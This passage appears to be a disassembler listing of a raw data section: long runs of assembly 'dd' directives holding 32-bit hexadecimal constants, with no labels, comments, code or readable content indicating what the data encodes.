		dd 0EFDF1AEh, 0F0D20E05h, 0E8617AC5h, 0EB6714A8h, 0D1E35AC9h
		dd 2420894Dh, 3CB89C81h, 0C680A4F4h, 60691770h,	0BB66C622h
		dd 55932A28h, 23181471h, 0BE6C33BEh, 96CFC231h,	4EEC5060h
		dd 2E67595Dh, 53E60E61h, 265F6019h, 19C5BF96h, 5065352Ah
		dd 800BB79Dh, 1AD67280h, 0CE987A6Eh, 0B23CB731h, 287215A9h
		dd 912AB513h, 38115D39h, 40909396h, 6B0D9D09h, 0AD8D90Bh
		dd 0A15835E9h, 0B42455EFh, 191CB43Ch, 0BE0D3686h, 3217DCF4h
		dd 9430E429h, 0C47159h,	35EAE7A9h, 0D03E208h, 5E6584Ah
		dd 0D4D58D13h, 6AA3292Ah, 4E00886Ah, 9FC165D8h,	942EEF7Eh
		dd 9FAFCAA2h, 801A11EEh, 284ABAE0h, 0E9E320BDh,	9EC41148h
		dd 4BC23196h, 51C48402h, 0DEBF895Dh, 0C952782h,	0E4D4BB00h
		dd 602A2536h, 34000093h, 9DD6CFA4h, 1241B44h, 0F2E33005h
		dd 2A318D8Bh, 615ABA04h, 0E62D16ABh, 0B9E8E0D5h, 4BE90069h
		dd 19E7FFBBh, 8537C755h, 6F0BC97Dh, 14036324h, 386059F0h
		dd 0F0401894h, 0BC1064h, 610189F2h, 0D5397F06h,	5C41E300h
		dd 0E9577496h, 0FFF238F7h, 801CDBCEh, 9B418801h, 8BFF0BB1h
		dd 0BEE24A4Ch, 5FDC2256h, 175B2BEh, 2C1F16B7h, 0DD7BFE8Bh
		dd 3E9A3FF4h, 0D565C80h, 0B12638Dh, 53B8A1F3h, 0A7CE4480h
		dd 5876E050h, 70FD7400h, 0DCD18B12h, 852913B0h,	9037E045h
		dd 864B519Ah, 76600149h, 66053A42h, 0E882FBBEh,	0AC1F807Fh
		dd 0E8D438D5h, 0C31704B8h, 0BB5AF9FEh, 33BB8C43h, 9042C8ABh
		dd 0DC801260h, 0FC53C5BDh, 5CE78721h, 22E1A310h, 0EC07006Ch
		dd 0E60A8844h, 0EE5231FBh, 5F561646h, 2A20AAA1h, 304F9C1h
		dd 0EE75BC9Dh, 0C16EABB4h, 163F861Ch, 82B9BD0Bh, 0B30A58Dh
		dd 0A9052EC4h, 467D8C7Bh, 9DAF62AAh, 2C4BD7C3h,	20DE7984h
		dd 0FE8E285h, 66003F09h, 0A48DB49Ch, 0FDD8B600h, 383EA6CCh
		dd 417F877h, 60829ED7h,	13E38201h, 8038D808h, 0BF66905Bh
		dd 0B050A92Bh, 0F522F070h, 20F83AE4h, 0E6EE13E7h, 3B60FEE0h
		dd 2CF3810Eh, 4F12536h,	5EDC56E6h, 8C4B17D0h, 0B569311Ch
		dd 0D1EC2208h, 511E5EF5h, 786109B3h, 50022FC3h,	4111961h
		dd 0CD02E809h, 29F3C0CAh, 5DB6643Bh, 0E9F85012h, 126F0380h
		dd 0CE090AE0h, 0D2C13FCDh, 6BB797B1h, 745FC600h, 0B0EA62EEh
		dd 9581A42Dh, 0CB0148CEh, 9D89165Ah, 742F19DDh,	0E04FB63Bh
		dd 33F93FCh, 0F9BB9D77h, 60375763h, 8695579h, 0E984D585h
		dd 68BC0CB8h, 875C6B1h,	0C8424F2Eh, 8F00245Eh, 1D95DA31h
		dd 0F2036B30h, 59852589h, 152458E5h, 2D324908h,	0A1B7AF29h
		dd 0FF9800B8h, 0EBE16AA8h, 57644850h, 297F0902h, 0CB58618Dh
		dd 892A3197h, 97024A20h, 1FAD2A9Ch, 0DEC54060h,	33109D9Fh
		dd 190B29D1h, 4D6B3Ah, 0C6F9641Bh, 0D4741F9Dh, 5B2F3A88h
		dd 8F2E76DBh, 13E01140h, 6A992C8Dh, 0BD81614h, 378BDFCFh
		dd 2B1A0EFAh, 5CC3E59Dh, 142C21Bh, 4600E805h, 84C89D32h
		dd 33E400FFh, 161465FDh, 4C03DB0Eh, 0A5A8203Ah,	0D8640EFAh
		dd 0E605B05Fh, 97E0BC70h, 90C09BA8h, 36197D71h,	22C6F40Fh
		dd 5A0813E4h, 3FC9A555h, 58014FFh, 5BA37C42h, 1599C23Ah
		dd 8564455Eh, 5E5D93D8h, 817C981Dh, 3D21C305h, 95846C6Eh
		dd 809E92E8h, 19D6F3EAh, 2FFF1DD9h, 58E05A12h, 71951029h
		dd 682B3131h, 5361F8B7h, 5CD3AD40h, 1E9323Dh, 7CE2F94Bh
		dd 818B08DCh, 0C3582EBh, 6485E02h, 2D09820Fh, 803D9A1h
		dd 24FA69BFh, 22892556h, 454F7AA2h, 0C3233Eh, 2FB26A7Bh
		dd 0B8EF92h, 32967240h,	3DDAC975h, 0F35F1B04h, 0F0F8E9B5h
		dd 2AA18280h, 8C3E8A39h, 4AD1C822h, 5F5B1091h, 18DAD89Fh
		dd 0BD313148h, 5887954Dh, 0C0A35B05h, 0D2F8012Fh, 2B773197h
		dd 3DE215h, 6F8DC103h, 2C20AFCh, 352129C9h, 2584A583h
		dd 201BD2FEh, 89A6712Bh, 697BF98Bh, 0EDF78A04h,	0D6FEBh
		dd 0D20EEF58h, 2427205Fh, 0CA1AF9D5h, 3405133Dh, 63468C89h
		dd 5F2B7300h, 0BB839143h, 0CD944B57h, 8F122045h, 26A0E9E8h
		dd 0E21FF3B6h, 0B906934Ch, 29630E64h, 819B5DBDh, 0F2B357FCh
		dd 2649D65Bh, 95252048h, 6C106925h, 85311267h, 0F57849C1h
		dd 7B95037Ah, 5773780Ch, 634BBC0Ch, 41099669h, 87F2E0Ch
		dd 77011823h, 271B65EAh, 0E070F21h, 1F1971D9h, 97C48919h
		dd 1C41EA00h, 224B778Eh, 34B5A602h, 8F4C4195h, 0F805203Ah
		dd 7D12A55Ch, 0F2FC880Dh, 58C18F8h, 94975B2h, 0C58004FCh
		dd 4D3AF71Eh, 96292097h, 2E316CE5h, 0FED3897h, 25C6BD87h
		dd 0C52CA925h, 0EFF3EBD6h, 4B60ED70h, 0AD36C14Ch, 47DE2B1Dh
		dd 0E7DB3780h, 1497937Ch, 0DB6F45D1h, 7EDDB1F4h, 24B85F30h
		dd 0A1F03CC0h, 38602E9Eh, 0B188F75Fh, 17639FA6h, 0ED01DD3Ch
		dd 0CC798D73h, 4769F8E2h, 0A9EB6812h, 8B05C2E3h, 0B6E1FFFAh
		dd 0BDE5E1E5h, 0EDC1292Eh, 0C4A67303h, 0AFB8EBDDh, 0B3B12A4h
		dd 1329FE5Ch, 9F448F59h, 7AFAF857h, 209D2980h, 604F3171h
		dd 0F38085DBh, 0FA05B63Bh, 0A06C1502h, 0DC60B33Ch, 0B5896190h
		dd 688DA8D1h, 0F3120242h, 30A4E161h, 8E124B58h,	90E00D29h
		dd 9F14B060h, 0C2C65F2Bh, 567862BFh, 582C919Ah,	517C09E4h
		dd 0BE1D506Ah, 38546AE3h, 0A2CE25A5h, 246C8A9Ch, 902F4021h
		dd 453FBF01h, 6050647Dh, 0E581782Ch, 0CA6961DAh, 0A80036C6h
		dd 5964578Bh, 238F480h,	5A6FBFDDh, 0CD665250h, 0F025479Bh
		dd 61D640BAh, 0E6CA9051h, 0DB2DEA55h, 0E1E078E2h, 68F88B0Fh
		dd 6B672483h, 7C7403FEh, 6FBD7846h, 1AF100F0h, 8506D78Fh
		dd 96E12FBh, 49AAE7BBh
		dd 8CAC21h, 0BB87FA5Fh,	66E437A9h, 0D8AA1B97h, 4C4E7E16h
		dd 1DC0D97Ah, 1984B2F1h, 16DC8F01h, 0FBA950A6h,	1F7296E8h
		dd 0D3E9D11Ch, 0A0C6E701h, 48ED56FCh, 45108B23h, 0C6F92515h
		dd 3F4D97BEh, 7A1A3AC1h, 77C7E120h, 0DC2997F7h,	0BF4DA56h
		dd 6A4D5212h, 4E740782h, 3162F95Ch, 0D4125D8Dh,	3D2FDD56h
		dd 30EF000Bh, 1837832Dh, 2537A27h, 0C0565F2Dh, 998B06C2h
		dd 84B9AB21h, 120879BDh, 8DCC9EB1h, 4B5FB22Dh, 0D3322050h
		dd 29001609h, 8DE48120h, 76E3D4h, 884CB1F6h, 9CEBCD22h
		dd 7E32C1BEh, 4B805CFFh, 0BB787DDBh, 2EE171C0h,	2BE71B0h
		dd 1DBD0B5Fh, 109F4B58h, 0DD9311h, 95DE9B58h, 0FA5E8479h
		dd 31F0B005h, 8FBE7F5h,	5F001BDBh, 60DFEE68h, 22BB0403h
		dd 9063E26Ah, 7FDC11C0h, 56E130F9h, 0E512B09h, 2377308Dh
		dd 4A790E4Fh, 52E05690h, 5B09636Ah, 529B5079h, 81B52907h
		dd 0BE6CD339h, 0AE115476h, 7D9D2C23h, 6F6192CAh, 5D0605CFh
		dd 0DA04D25Ch, 0B3120DC5h, 76DAD279h, 91C19F80h, 3399711h
		dd 66DB02B0h, 56B767BBh, 2A445136h, 7B13FF7h, 5F612DE9h
		dd 0FCE047F6h, 650AC1Ah, 834B3FE1h, 42B9518Eh, 0CE40DB94h
		dd 169F1041h, 0F4852197h, 45BDEDADh, 7937AF7Fh,	0D770BF66h
		dd 0E5E81064h, 40E6BCB2h, 9624A12Fh, 15A5258Bh,	73AF20C5h
		dd 870150D1h, 7F529A95h, 13599889h, 2390BAA6h, 0B3AA305Ah
		dd 8A265082h, 10A53AFCh, 126D69C7h, 0C946807Bh,	6A610930h
		dd 5625D56Eh, 1564DE6Dh, 49A28061h, 95DC9377h, 0AEA30252h
		dd 2646E5Eh, 222BB820h,	0E12940DEh, 46548202h, 8333914h
		dd 116418Dh, 968CBB61h,	862320BAh, 987BC44Bh, 26300202h
		dd 925942D4h, 8FE05793h, 5F5925F3h, 16FCCD62h, 0CFF0EFDCh
		dd 824E122Ah, 1BE5B14Ch, 5F61C094h, 46BBFF9h, 0DEC1A3BBh
		dd 0D1CBAC18h, 592CBCEEh, 9575A7FEh, 0D041E2BAh, 4FF06225h
		dd 0FBC03B9Bh, 0A81F72EBh, 52558A02h, 495BF88Bh, 0D4221022h
		dd 0CAB292h, 37CAF5E2h,	0B0452159h, 1CED2D87h, 419BF296h
		dd 4A4C958h, 0D88B21F2h, 96CCAA53h, 85BD1003h, 0C05B2725h
		dd 92FB4D8Eh, 252598D7h, 0DC54EB8h, 887AE351h, 9D2D2BC7h
		dd 8A49026Dh, 69115CFAh, 0B8F9B604h, 200EA20Eh,	87DF8053h
		dd 50965F1Ch, 5777B3B0h, 4453AD5Bh, 0C9196018h,	7B2731D6h
		dd 2E3B6156h, 0F2AC2934h, 45AEBCD2h, 0E25B26E8h, 2C463017h
		dd 24C4326h, 62C4D113h,	18ACFAA9h, 351E058Ch, 1D5BF1E4h
		dd 0C72B98F3h, 0B28B0C89h, 0D9698B81h, 8529821Ah, 105C252Dh
		dd 0B7295271h, 3C0019ECh, 4895177Ah, 97F8FCFDh,	0FD5B311Ah
		dd 0A2F22270h, 0EA55DC9h, 8B3E92C6h, 557A115Ch,	3404F1B5h
		dd 0CA888509h, 0F4381CE9h, 0AA376DFFh, 22AB3200h, 318BC85Eh
		dd 0B0660C1h, 262A228Dh, 4A271961h, 69DF54D0h, 0E890B5B0h
		dd 0A0E44h, 0FAF5924Dh,	42792B65h, 0CAE3C802h, 745BE835h
		dd 4FDA9002h, 99090AC4h, 0A77A7469h, 0CD8BF537h, 0D95984C4h
		dd 8400ECE2h, 498819F7h, 0ED69BD29h, 8DAE50AFh,	3C5BE0F1h
		dd 8D29BD89h, 0B104890Ch, 30ABEE84h, 2F1BED4Fh,	280E6500h
		dd 0DCD65C81h, 89A200EFh, 42BC8051h, 89953FADh,	8E6E02A1h
		dd 0AD355492h, 0A3D5FAC0h, 6EAEA2D2h, 85C22810h, 373EFE6Bh
		dd 2E292B5h, 0A01BD88h,	66B86004h, 0E07A4780h, 0C1FCF522h
		dd 4F6FD600h, 0B2053E3Dh, 0C8F64B30h, 877E075Ch, 1FE539h
		dd 0F928F2Fh, 1DECAEh, 53185641h, 9D295882h, 0BDC2F54Ah
		dd 203A5761h, 9D42554h,	0A6B58ECAh, 51498AF6h, 99B7A5E8h
		dd 1260F300h, 58FF689Bh, 0DE3A0FF8h, 1295D1A6h,	0B2C652B1h
		dd 139C8E0Ch, 97AAAh, 0FD58CFC6h, 1289944Ch, 0A1243CA3h
		dd 6AA03085h, 0F0900256h, 0AF7771h, 64C873Eh, 9509807Ch
		dd 4242F15Eh, 930659Dh,	0D9126A5Eh, 0F865ABADh,	4B04CADBh
		dd 0E0800FDAh, 96A7E4F3h, 1A02B3F8h, 8D09D519h,	0A03C5069h
		dd 25F7578Ah, 5D7191E9h, 984BBC2h, 72138A57h, 310C31DEh
		dd 2B0EF1EEh, 9A5B5A8Bh, 4241840Ah, 513A14F8h, 49CFE29h
		dd 0ACE4CF80h, 7AED93F4h, 0EC245FE8h, 0CF67B1FCh, 3DE6160h
		dd 33AB2529h, 0A989CF7Bh, 4B237147h, 8201D8B5h,	489B32F4h
		dd 0D4E3116Fh, 0AA12D44Ah, 3280F3DEh, 516ED365h, 0D2203B0h
		dd 37FF5A07h, 29C47F36h, 8B7ABF0Ch, 0B852FF00h,	0A254C84Dh
		dd 0F8A1702Fh, 8A164BBEh, 95332253h, 0BF87DE59h, 37120955h
		dd 2A57EB0h, 70E6492Fh,	46401476h, 1DC2231Dh, 42737A8h
		dd 0BAA7A984h, 5CFC21C2h, 104893Fh, 2EC03B5Ch, 1296AC0Ah
		dd 0E1953D84h, 0D4882F3Fh, 817F00DEh, 745DEEC9h, 6D504714h
		dd 294095C2h, 8CBA4A5Fh, 9AA83914h, 14A880Fh, 0A940A3E3h
		dd 0B037D2F1h, 0CB01BF49h, 504B947Dh, 142E5FF5h, 4D02A951h
		dd 0C82B022Eh, 0A4E748C0h, 9D1FDA0h, 0D3199D2Ah, 0E9E0059Fh
		dd 1B20B6E6h, 1D37A6B0h, 35C20D12h, 0B8F90432h,	0BF66065Ch
		dd 0C90E4034h, 8E5CBDB8h, 105269A5h, 3C60BB10h,	0E9122F09h
		dd 697B4466h, 1B57CBD5h, 53561207h, 2222E2B1h, 0EF81034Dh
		dd 13A61AF0h, 1982A5FAh, 6080E8FEh, 0B3B5DD5Eh,	0CEB7B27Bh
		dd 0A2120B1h, 40EF5F7Ch, 0D381606Dh, 28D2E409h,	2AE472h
		dd 1C03E34Fh, 0B3295B70h, 61F2E614h, 0C6D12CFh,	0EEA1ADB8h
		dd 0A24FCA07h, 4570C640h, 0D0E44DDCh, 7CF44669h, 47153EDCh
		dd 0D7100500h, 2519B21h, 1245ECBFh, 0E32272BFh,	0AABB0057h
		dd 0B90E6C70h, 0A7094AD7h, 29ADA009h, 4FA2042Dh, 0A851EB80h
		dd 0CE3780DCh, 0D064B0h, 0FE9E1BF6h, 0ADFA6DAEh, 7D87E74Bh
		dd 70E27319h, 9D002386h, 380D630Fh, 1EB3F55Ch, 92C02BE8h
		dd 604BB48Ch, 0FEC761E2h, 2B504406h, 0BF8B0FD2h, 28DC7192h
		dd 1207D125h, 0D37EE661h, 0B18A28DAh, 6FFE12EEh, 7D840611h
		dd 0B46668Eh, 8531DABFh, 0D8B0D7Eh, 53BF88h, 0FF02776Eh
		dd 0D9099F92h, 5CD583ABh, 276DEB7Fh, 423A8640h,	0BAB9044Bh
		dd 0AC62CCF9h, 865101Dh, 2BF9E15Eh, 0CA819834h,	0CE75B68Ch
		dd 4E932F2Bh, 0FC80A89Ah, 0E922435Ah, 621144h, 70DB12A0h
		dd 34796580h, 3C76F900h, 0F1AC7B89h, 83149733h,	82F5945h
		dd 0F844B84Bh, 0BB8086B8h, 13B49A47h, 4BCB013Bh, 5AFF518Ch
		dd 80A09BE1h, 1C0FF0CEh, 0B72D09DCh, 1CD5FCE3h,	0D95D0080h
		dd 5FE74499h, 0A672AFEFh, 0C5DE8B25h, 4E3096Dh,	90BD7Fh
		dd 0A1573E7Fh, 8125B1E5h, 1885C50Bh, 0DD8A61CEh, 7F811497h
		dd 0E7BDB589h, 5C856101h, 870377Ah, 2A31412Dh, 0ADD927F0h
		dd 0FCC6602Ah, 0AB581533h, 96905FB9h, 251896BFh, 85C264A1h
		dd 0F76E385Fh, 914B4BA9h, 5B019E80h, 20DEC06Bh,	951F952Ch
		dd 1C01A964h, 82A2BEE3h, 32FDA78Ah, 0F6ED342Ah,	160CE054h
		dd 0A22612D6h, 4EC1E3F9h, 0B900C96Eh, 0FBD76A8Eh, 0EA587C90h
		dd 8ED10B5h, 3A68502Eh,	0C09BF44h, 421048CEh, 7006D3B0h
		dd 9F0B121Ch, 8AB07959h, 51588239h, 210900C4h, 599CE115h
		dd 6CD2A0C8h, 0E5B868E9h, 3ABFE2Eh, 0E9069909h,	3A2565A2h
		dd 2FB9CA2Ah, 76A44A51h, 30804EBBh, 88B654ACh, 426DFC2Fh
		dd 0BF99D09Fh, 2E7B638Dh, 0B30A961Ch, 0BB4783DBh, 40F2026Fh
		dd 0DC9C5458h, 0DD39B700h, 1F48A7B6h, 3DBF042Eh, 0FF0A87A3h
		dd 0ED18F71h, 8168742Bh, 2B12CDE0h, 178AB69Ch, 0C534E9FDh
		dd 0B86EADD6h, 6989132Ah
		dd 0C208BE99h, 0F266250Bh, 567BC29Fh, 9C9168D2h, 0D90967BDh
		dd 0CEA8B759h, 8DD81645h, 45B89F10h, 3006D61h, 693E3906h
		dd 4B9B90F0h, 0E9CD9496h, 52ECE99Dh, 7351279Ah,	2F15DBE0h
		dd 5106892Fh, 3FDCABB2h, 2561B51Ch, 90BDC9C4h, 7D7137F2h
		dd 0B5CCFD7Ah, 3A304BFh, 0EA5B1584h, 7196F10Bh,	0F0A20025h
		dd 3AB9CBD3h, 493039FCh, 61F82660h, 20504B5Fh, 0D6E37457h
		dd 9A144901h, 0DB819683h, 3BF128F8h, 0E7BF5257h, 691C3D84h
		dd 0ACEAB95Fh, 0A4008C1Bh, 0B5A585F0h, 904B028Bh, 32712422h
		dd 5607999h, 8A12E6B9h,	0BE8F00D4h, 5B6998DFh, 0BB0450F8h
		dd 3195CA6Ch, 0B1539688h, 0C7DAAEBAh, 0A30C69FBh, 5F405356h
		dd 49BF9C51h, 98F835DEh, 91D1909Dh, 0D8D1AF45h,	76FB2D00h
		dd 0E2EF45Eh, 28379394h, 58A79A02h, 19B75Fh, 98B409F1h
		dd 784B7083h, 0AA5B46CDh, 0CCA841C1h, 0B5BD7063h, 9F109120h
		dd 88F62D81h, 0BF046F61h, 2A14F999h, 0DCC69E79h, 768263F6h
		dd 43046429h, 8C5F5056h, 0A6D750EDh, 55C5A0AFh,	0EC9B0BD6h
		dd 0B55C6178h, 5B1201DCh, 0DD168583h, 148E57FDh, 79610914h
		dd 760269A8h, 0A15C24A5h, 73452971h, 802CB8A0h,	1144E95Bh
		dd 0E87DC0h, 5035A223h,	54B5844Eh, 0CBBF1900h, 0E9496875h
		dd 42C29C21h, 1D572AF5h, 0F360D2BCh, 1CBB1055h,	27CAAD8h
		dd 0CFB24AC4h, 2FDC294h, 0C1DC56Bh, 61895D60h, 2999282Fh
		dd 259E044Eh, 0DD77FF80h, 2BB84E14h, 72346A59h,	0CEF930Ah
		dd 0F159F855h, 0A14D63A5h, 314182C9h, 8DCD631Eh, 1AACF2FDh
		dd 98150B8Ch, 0A2802AFAh, 6D950105h, 0D7CB254Bh, 0A9A9BD4Ah
		dd 0D87BCC2Eh, 0BE6DA12h, 9E5068F3h, 2A5209Dh, 64820F2Dh
		dd 0AC2C04CCh, 0AF612BCBh, 6ABE0275h, 8A3F4Ch, 0DBCD124Ah
		dd 26757E85h, 9D5996ADh, 20FB65DFh, 55D2A070h, 0DE2AC191h
		dd 0EA74C099h, 4CB9A8C4h, 851226A9h, 0D3FEB909h, 1D797B04h
		dd 0AC9274AFh, 27CF4953h, 0AC0C4515h, 0D702D641h, 0A762ADB7h
		dd 60FFFC60h, 29399523h, 1CBF6180h, 8EC4099Bh, 13918689h
		dd 0FE9DF98Bh, 802A9A3Bh, 0E7CE8469h, 0F4F72DF9h, 2C5EED78h
		dd 90942C8h, 57994A95h,	230A11D0h, 9530F1BDh, 5C205089h
		dd 4B2410A8h, 9501D68Dh, 752F0AE9h, 0E1F7B6B9h,	0CD419F5Eh
		dd 77400D51h, 89018C0Fh, 420F26F5h, 0ABF92F0Dh,	0F4B75EA2h
		dd 3C22D100h, 0A8A21CB5h, 66094C97h, 2596D044h,	0B660DA8Bh
		dd 0DE1254BBh, 0B9B53DA0h, 0E0E84DFEh, 961EA16Eh, 0F891F602h
		dd 4AA3069Dh, 1183B7A2h, 0DB4F801Dh, 20AA89Fh, 0B9F11206h
		dd 9DC351F0h, 290B2E8Ah, 97D07000h, 0F6E081EDh,	10E420Fh
		dd 8981624Fh, 2B1A6D8Dh, 432D03CEh, 87004EEEh, 0CEEAE65Bh
		dd 0A243CBEDh, 9C9688B0h, 3724340Bh, 0B176A55Fh, 2F49E1EBh
		dd 0C905EA04h, 0B124C979h, 3FA87AFEh, 0E224BC2h, 0F31AD52Fh
		dd 40064E84h, 0CCFADB81h, 5F5E2578h, 0F3AD657Bh, 0BDE450F4h
		dd 0BEAAC702h, 0FC67F82Bh, 0EA586B53h, 0BBF26E84h, 460AF427h
		dd 0B360173Bh, 0A19DF0FCh, 58A614Eh, 0D5FE3725h, 0AE6F24F6h
		dd 0A8E113E4h, 4CC4B31h, 812F04BFh, 17C609A3h, 22031BCh
		dd 0FDEA1697h, 0C5485DEAh, 0C29598E9h, 2037D5C9h, 20E4120Eh
		dd 0F5B40A86h, 7EC1628Bh, 500013A5h, 93AF781h, 5B3C42F2h
		dd 0C2EAAD5Ch, 5EFC00D6h, 26FD7A62h, 4014145Fh,	22B0503Eh
		dd 404BBE16h, 12DA9C4Ch, 29BC7D0Eh, 1CAB729Eh, 28952217h
		dd 0BF80F17Dh, 7DF2B71Fh, 5F4D9D6Ah, 7B61FCE1h,	16F4D6FCh
		dd 0A8DEE026h, 0D05158BFh, 95991281h, 16F67ABAh, 0FCF3D650h
		dd 0C0FCE84Ah, 15117FEEh, 0FB2601D1h, 63047671h, 341DD430h
		dd 0CDC08325h, 480EE087h, 7F0ECE0Ch, 0C1292A31h, 5750F8F9h
		dd 4A818720h, 2BEBB5FBh, 0A50B1A6Eh, 7E02E6F6h,	307D1455h
		dd 938DFDh, 1E60CF5Eh, 0CEFEBE07h, 0CD67B900h, 2EE697DEh
		dd 1EC99736h, 2B65257Bh, 4580FDDBh, 868FE50h, 51923F2Dh
		dd 0EC8900BFh, 0B81F4286h, 0F0A01002h, 70257CC1h, 36802734h
		dd 30CE06F4h, 407C8794h, 0D15EFF30h, 4DE0B1E6h,	0DE040831h
		dd 34493664h, 0E5B84FC4h, 367C9FA2h, 948A00F6h,	0A5340DFh
		dd 6A25E85Fh, 200B702h,	5EABAE94h, 61407276h, 4F29EC7h
		dd 852B6043h, 331AA19Dh, 7B34005Ch, 27868B69h, 16D84F6Bh
		dd 0EA830E9h, 9324C07Dh, 4EAC33A3h, 1A46DCh, 78376319h
		dd 0A0B3E9E1h, 77BBDBE5h, 0CE474BD5h, 0DCA324E8h, 0F0D3A12Bh
		dd 6B57B8h, 81DEEF68h, 0BA60033Ah, 7726EEECh, 0AD1CEF3Eh
		dd 0E616220h, 247B2AC1h, 1FA6B3D0h, 259B696Bh, 1E5EBA62h
		dd 40F1EDEBh, 9DBD03D5h, 50002694h, 4EFDE5BBh, 82CBAA55h
		dd 7F087577h, 0D4611331h, 640029B2h, 0DC8BEFFBh, 7963A72h
		dd 0E147E82Ah, 87F6D29Eh, 46DC3E74h, 0FC97001Ah, 0BD70EE92h
		dd 2B329D7Bh, 0D812F40h, 100B3B9Dh, 3E0CE1B6h, 0E3E6CF6Ah
		dd 20D8EEE1h, 0F803316Dh, 60EA613Dh, 50BDC229h,	270975F2h
		dd 21C90FCDh, 0C7D47FB5h, 299112C2h, 0F112F373h, 560B6AE2h
		dd 48A4B00Ch, 66D1FBFAh, 0BA0413F1h, 97189836h,	71E42368h
		dd 0D595311Ch, 91307925h, 29B35AC4h, 31EB814Bh,	5C492F9Dh
		dd 0BFDC78F9h, 0F460DF3Ah, 0F84AE780h, 25BF1BF4h, 0CEE156F6h
		dd 1AC72BF9h, 0BC16FFA4h, 70FCCB4Fh, 0E98489DEh, 732F632Ah
		dd 896DC2F5h, 41F01572h, 0C08C7F94h, 51818607h,	8D440920h
		dd 3055E004h, 0CE7A5B09h, 0FF710E45h, 5E2FE22Bh, 0D301B5F0h
		dd 9222BA61h, 44C95EF8h, 0C8A25735h, 49AD3C01h,	0FC27C051h
		dd 9400E743h, 0BFC8EEFAh, 72E38160h, 1461F693h,	2BA5835Bh
		dd 32CFE26h, 20412B52h,	2A6E7C45h, 2558F5DCh, 0A907EE13h
		dd 8199F4C7h, 0EEEB8045h, 8BBE3057h, 0D906C1DAh, 48079EB9h
		dd 0FE5AE3A1h, 9E02E6E5h, 0BCB46B7Dh, 9B66EBBh,	0FF392BA5h
		dd 0C0A9440Eh, 72DCC2FCh, 6D6232DBh, 295791CAh,	78FBF3E4h
		dd 3CB6A1BCh, 0ACD17B40h, 0DDE407h, 618B024Bh, 0A0F77568h
		dd 2F0EDDFBh, 660F726Dh, 0E2D339C1h, 99E5416Ch,	3E76A0Dh
		dd 0C2E0D6A3h, 5804A64Eh, 880DCF9Ah, 0C06ADEEBh, 0EB50D833h
		dd 5FFE0431h, 812BB3BCh, 3CF557CCh, 5ACCD578h, 0C446D0B7h
		dd 28A6DCB1h, 0C1BC80B6h, 5394290h, 87B9AE32h, 2042AC01h
		dd 0CB5F4B07h, 0ABA6D677h, 295D43A0h, 15698526h, 0DD93019Dh
		dd 0AEBB0840h, 9727A5A6h, 6FFB7094h, 3AC0849Eh,	17EDC206h
		dd 3F79DE02h, 57FA8ADDh, 1A1106B5h, 0E0DF7480h,	0A6587011h
		dd 0EABD27C7h, 69AD5C64h, 29C0736Dh, 96FDBBFh, 2D585FBAh
		dd 0FF62FCFCh, 0E07CCDE1h, 9E3468EAh, 88000B90h, 0EF812EB1h
		dd 4B631011h, 21C5CA6Eh, 1B6DAD69h, 0BEBC6744h,	29BD5BA2h
		dd 0F560C500h, 0E1E1B531h, 86E1C178h, 0BF5783F3h, 8D47A4C2h
		dd 9F7D0DE0h, 0C65C1862h, 0C32FED25h, 0F8C84893h, 70272DF7h
		dd 41625862h, 0C4172E0Eh, 0B880B6DBh, 0F9A9EE5Dh, 0BCF1102h
		dd 0D71D919Dh, 1109FB19h, 6B2FB1B7h, 31D23B5h, 0D163739Bh
		dd 71625FF0h, 0EED3BF25h, 0D43EB6B9h, 0DDB93402h, 0F0E19036h
		dd 3FE4A88h, 0E59D0937h, 162E13A5h, 0B20AB8A9h,	98FD2911h
		dd 49C273h, 0E9626758h,	0F895C7FEh, 5C61A16Bh, 0BE84311h
		dd 8E973D03h, 0A889F0F8h, 0E5837EEBh, 203F52D1h, 0C58E9ACDh
		dd 0CE921C09h, 91097F5Fh, 4F92A1F9h, 3EB22301h,	0A5489B2Ch
		dd 58D8278Bh, 1770C0D3h
		dd 0FD8B4EE3h, 0C4BB8F1Eh, 6ABD4334h, 24B59D82h, 0B059814h
		dd 23CE9F8h, 654BEAF2h,	6E5B4CCAh, 0C0300091h, 38AC60Ch
		dd 6BB09735h, 1C4B999Dh, 0E22069DDh, 0F2114A59h, 776BD220h
		dd 1631B75Fh, 3A9B0689h, 0F8AC1480h, 0BC705EEEh, 0B4976E8h
		dd 9D2B20D2h, 88001544h, 2CC30D04h, 169D3AEh, 0E9EF4973h
		dd 81B06A41h, 0B71A437Ch, 602F5F12h, 8E19591h, 0DDA8086h
		dd 3B968125h, 20ADF9C0h, 95507861h, 40C59D6Dh, 0FEF1FF09h
		dd 7CC4A5DCh, 0CA78819Bh, 0BBBE263Ah, 0FEDC0720h, 470605Ch
		dd 0C491775Ah, 158F0F61h, 6EE72Eh, 0DB726FE3h, 1CBE9C90h
		dd 804330A5h, 46D92011h, 0E84250CEh, 0C4F5800h,	0BBA18127h
		dd 0CF25631Eh, 494554A7h, 0EA0027C4h, 0E8E12989h, 5FB8B6C4h
		dd 5DA998Bh, 7BD7A6Ch, 8BDAD3D1h, 2F617929h, 71E03DCDh
		dd 42E23E9h, 0F99D3389h, 0E8900212h, 0C6BF2213h, 4AAE1740h
		dd 3A5E4400h, 63B42AEAh, 4A20560h, 0BC76F0DFh, 133D48E7h
		dd 0B66F9050h, 98A9FF01h, 203A265Eh, 9B79916h, 596B7395h
		dd 0A6311814h, 732A00CFh, 0A962A740h, 612DBDC5h, 0EF6D7966h
		dd 5071D989h, 0E6B22C44h, 480AC910h, 0DB176964h, 14ED70B5h
		dd 8B8A5E0Bh, 77075E69h, 4044ED49h, 5A9CCC93h, 2ADCE300h
		dd 66AE1A96h, 4E4A28BBh, 32FD25FAh, 0FAC9DC79h,	9BB8063h
		dd 161C9D13h, 0D7277669h, 6A1D8E0Dh, 96C0C6DBh,	0F4B9FD9Fh
		dd 7A12E378h, 9121989h,	4F4DFCB7h, 0DE0086ACh, 295D959Ah
		dd 259D017Dh, 5ECE1C4Dh, 0CCB3109Fh, 799E4FEh, 0A6E40471h
		dd 0FB712906h, 88E24ABAh, 78BB500Eh, 0A8740264h, 116E4BBBh
		dd 0CE572506h, 0A7135690h, 86BC514Ch, 3FB44680h, 6218056Eh
		dd 9ABE44CFh, 0DA47007Bh, 9D5E314Bh, 8B48125Ch,	8E494EB0h
		dd 59D2535Fh, 8181Ch, 6BF7EEFh,	0AAD3A1BDh, 6C80D199h
		dd 0C0711DDCh, 297AC487h, 15E5522Fh, 0A17A2Fh, 0F4259CADh
		dd 5E23684Fh, 0ABCF205Fh, 6E130861h, 22EFD0F8h,	0E5B2691Ch
		dd 74710E53h, 4AB5F33Bh, 1289418Ch, 0F70125B5h,	35844B68h
